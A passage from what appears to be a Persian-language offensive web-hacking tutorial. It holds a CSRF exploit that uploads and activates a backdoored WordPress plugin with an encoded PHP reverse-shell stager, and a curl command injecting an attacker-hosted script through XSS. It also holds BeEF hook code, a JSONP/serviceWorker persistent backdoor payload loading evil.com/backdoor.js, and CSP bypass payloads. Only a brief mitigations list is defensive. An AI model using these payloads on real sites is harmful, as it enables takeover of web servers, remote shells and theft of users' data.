gkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygiTmxl.biIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7)); ?\x3ePK\x03\x04\x14\x00\x00\x00\x00\x00\x99\xbaAO\x12\xc6\xdf|\x85\x00\x00\x00\x85\x00\x00\x00\x0f\x00\x00\x00QwertyRocks.php\x3c?php\n" + "/**\n" + " * Plugin Name: GotEm\n" + " * Version: 6.6.8\n" + " * Author: PwnedSauce\n" + " * Author URI: http://PwnedSauce.com\n" + " * License: GPL2\n" + " */\n" + "?\x3e\n" + "PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xaa\xbaAO\xc0\xbd0\xd3\xe8\x05\x00\x00\xe8\x05\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00wetw0rk_maybe.phpPK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\x99\xbaAO\x12\xc6\xdf|\x85\x00\x00\x00\x85\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x17\x06\x00\x00QwertyRocks.phpPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00|\x00\x00\x00\xc9\x06\x00\x00\x00\x00\r\n" + "-----------------------------23618398915373727791935559256\r\n" + "Content-Disposition: form-data; name=\"install-plugin-submit\"\r\n" + "\r\n" + "Install Now\r\n" + "-----------------------------23618398915373727791935559256--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); if(xhr.status==200){ upload = true; } } // active plugin active_plugin=false; if(active_plugin != true){ var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", "http://victim.com/wp-admin/plugins.php", false); xmlHttp.send(null); var pl_page = xmlHttp.responseText; var dv = document.createElement("div") dv.style.display="none" dv.innerHTML=pl_page; document.body.appendChild(dv); var payload = document.querySelector('[aria-label="Activate GotEm"]'); active_url = payload.href; dv.remove() var xhr = new XMLHttpRequest(); xhr.open("GET",active_url,false); xhr.send(null); if(xhr.status == 200){ active_plugin = true; } } // active backdoor active_backdoor=false; if(active_backdoor != true){ var xhr = new XMLHttpRequest(); xhr.open("GET","https://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php",false); xhr.send(null); if(xhr.status == 200){ active_backdoor = true; } } if(upload == true && active_backdoor == true && active_plugin == true){ break; } }
در بخش اول کد بالا که توسط BurpSuite تولید شده با استفاده از XMLHttpRequest
درخواستی به آدرس http://victim.com/wp-admin/update.php?action=upload-plugin
برای آپلود پلاگین مخرب malicous.zip
طراحی میشود. برای مشاهده کد طراحی شده توسط BurpSuite، در قسمت Intercept
درخواست آپلود پلاگین را در BurpSuite، بگیرید و بعد از کلیک راست روی آن، گزینه Engagement tools
را انتخاب کنید و از منوی باز شده روی گزینه Generate CSRF PoC
کلیک کنید. این گزینه همانطور که از نامش مشخص است برای درخواست انتخاب شده با بهره گیری از آسیب پذیری CSRF کد مخربی طراحی میکند.
توجه داشته باشید که نام پلاگین مخرب، در این مثال GotEm میباشد.
در بخش دوم کد یعنی بخش active plugin
، با استفاده از XMLHttpRequest
درخواستی به آدرس http://victim.com/wp-admin/plugins.php
که پلاگین های وردپرس در آنجا قرار دارند ارسال میشود و پاسخ صفحه در متغیر pl_page
ذخیره میشود. سپس تگ div
نامرئی ای ساخته میشود و محتوای innerHTML
آن برابر پاسخ صفحه قرار میگیرد. بعد از آن تگ div
ساخته شده به صفحه اضافه میشود. این کار برای این است که بتوانیم از کد های HTML پاسخ صفحه به دنبال URL ای که باعث فعالسازی پلاگین میشود بگردیم. همانطور که میبینید با استفاده از querySelector
عنصری که حاوی متن "aria-label="Activate GotEm
بود را گرفته ایم و ویژگی href
آن را در متغیر active_url
ذخیره کرده ایم. در آخر نیز درخواستی به URL ذخیره شده در active_url
ارسال میکنیم و پلاگین مخرب را فعال میکنیم.
در بخش سوم کد یعنی بخش active backdoor
، برای فعالسازی و ایجاد دسترسی Reverse Shell توسط Metasploit درخواستی به آدرس https://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php
ارسال میکنیم. همانطور که میبینید این سه بخش درون حلقه While که همیشه true است گذاشته شده و اجرای این حلقه تا زمانی که مقادیر متغیرهای upload
، active_backdoor
و active_plugin
هر سه true
نشده اند ادامه پیدا میکند.
در آخر باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:
curl 'victim.com/comment.php?name=<script src="http://<NG_ID>.ngrok.io/add_plugin.js"></script>'
استفاده از ابزار BeEF
BeEF چیست؟
BeEF که مخفف Browser Exploitation Framework است، یک ابزار برای اکسپلویت حملات سمت کاربر مخصوصا مرورگر است که میتواند یک یا چندین مرورگر را گرفتار کند و از آنها برای اجرای دستورات مستقیم و حملات علیه سیستم قربانی استفاده کند. قبل از شروع مطمعن بشید که سرویس BeEF بدون مشکل start شده و شما میتونید از طریق آدرس http://127.0.0.1:3000/ui/panel
در مرورگر و وارد کردن نام کاربری و رمز عبور beef ، به پنل کنترلی BeEF دسترسی داشته باشید.
همانطور که میبینید در سمت چپ بخشی به نام Hooked Browsers وجود دارد که لیست مرورگر های تحت کنترل و اطلاعات بدست آمده از آنها در این قسمت نمایش داده میشوند. خب حالا برای اینکه مرورگر کاربری رو با استفاده از BeEF گرفتار کنیم، از کد مخرب پیشنهاد شده خود BeEF استفاده میکنیم. این کد در قسمت Command Line این ابزار قرار دارد:
<script src="http://<IP>:3000/hook.js"></script>
<script src=https://www.exampleuri.com/data?callback=mycallback></script>
بعد از ارسال درخواست GET
، داریم:
<html> <body> ..... <script src="https://attacker.com/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing </body> </html>
در کد بالا میتوان اسکریپت دلخواه را در آخر هر درخواست تزریق کرد بدون اینک کاربر از آن مطلع شود. در نتیجه تمام منابع از لایه Cache شده بدون اینکه متوجه باشند عبور خواهند کرد. در ادامه به بررسی نحوه استفاده از JSONP، تکنولوژی serviceWorkers و آسیب پذیری XSS برای ایجاد یک در پشتی (Backdoor) مداوم برروی یک وبسایت میپردازیم. باید این نکته را در نظر گرفت که serviceWorkers فقط از منابعی که برروی همان دامنه قرار دارند نصب میشود. یعنی برای نصب یک serviceWorker روی سایت example.com
باید آن را به صورت زیر ثبت (Register) کنیم:
if ('serviceWorker' in navigator) { navigator.serviceWorker.register('https://example.com/sw.js') then(function(reg) { console.log('Registration succeeded.Scope is ' + reg.scope); }) catch(function(error) { console.log('Registration failed with ' + error); }); }
این کار به مرورگر میفهماند که فایل های جاوا اسکریپت serviceWorker در Root یا ریشه دامنه مشخص شده قرار دارند. در نتیجه scope
یا محدوده serviceWorker، کل دامنه میباشد. با استفاده از Endpoint های JSONP که امن سازی نشده اند میتوان این مشکل را حل کرد. چون JSONP ، پارامتری دریافت میکند (در اینجا پارامتر callback
) که این پارامتر در کد JavaScript جایگزاری میشود.
برای مثال فرض کنید درخواستی به این صورت داریم:
/jsonp?callback=myFunction
که پاسخی شبیه زیر بر میگرداند:
var data = { "hello": 1 }; myFunction(1);
اگر ورودی JSONP امن سازی نشده باشد میتوان JavaScript دلخواه برگرداند به این صورت که کدی طراحی شود که برای دریافت پاسخ منتظر میماند و بعد از آن کد مخرب زیر را به هر درخواست اضافه میکند :
<script src="attacker.com/backdoor.js">
در نتیجه Payload نهایی چیزی به صورت زیر است:
<script> navigator.serviceWorker.register("/jsonp?callback=onfetch=function(e){ if(!(e.request.url.indexOf('/')>0)) e.respondWith(new Response('<script src=\'http://evil.com/backdoor.js\' type=\'text/javascript\'><\/script>',{headers:{'Content-Type':'text/html'}})) else e.fetch(e.request)}//"); </script>
نحوه اجرای این حمله
ابتدا باید Payload نهایی با هدف دلخواه (مثلا دزدیدن ایمیل ها یا نظارت بر حساب های بانکی) را طراحی کرد و سپس آن را با JSONP تلفیق کرد.
بعد از آن Payload را با استفاده از حمله XSS باید بر روی وبسایت آسیب پذیر تزریق کرد.
راه های کاهش (Mitigations)
- ورودی های Endpoint های JSONP (Callback ها) را امن سازی کنید تا فقط پذیرای حروف الفبا یا نقطه و خط فاصله باشند.
- آسیب پذیری XSS را در وبسایت فیکس کنید و از امن سازی ورودی ها، Encode کردن خروجی ها استفاده کنید.
- از Content Security Policy استفاده کنید.
این تکنیک صرفا برای مداوم بودن اثرات حمله و دریافت اطلاعات طراحی شده است.
دور زدن CSP
CSP چیست؟
Content Security Policy یا CSP یک تکنولوژی ساخته شده برای مرورگر است که کمک میکند تا از XSS در امان باشیم، این تکنولوژی با تعریف لیستی از مسیرها و منابع مشخص میکند که مرورگر میتواند از کجا ها به صورت امن منبع شامل عکس ها، JavaScript و غیره … بارگزاری کند. CSP در هدر های پاسخ HTTP یا عنصر <code>Meta</code> در صفحه HTML تعریف میشود و مرورگر از سیاست های تعریف شده در آن پیروی میکند و در صورت مشاهده چیزی خلاف سیاست ها، آن را بلاک میکند.
از هدر های Content-Security-Policy
و Content-Security-Policy-Report-Only
در پاسخ HTTP استفاده میشود، اما هدر Content-Security-Policy-Report-Only
چیزی را بلاک نمیکند و فقط گزارش میفرستد. در ادامه مثالی را مشاهده میکنید که این مکانیزم اجازه بارگزاری منابع از دامنه خودش (self
) را میدهد.
در هدر Content Security Policy
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
در تگ Meta
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object>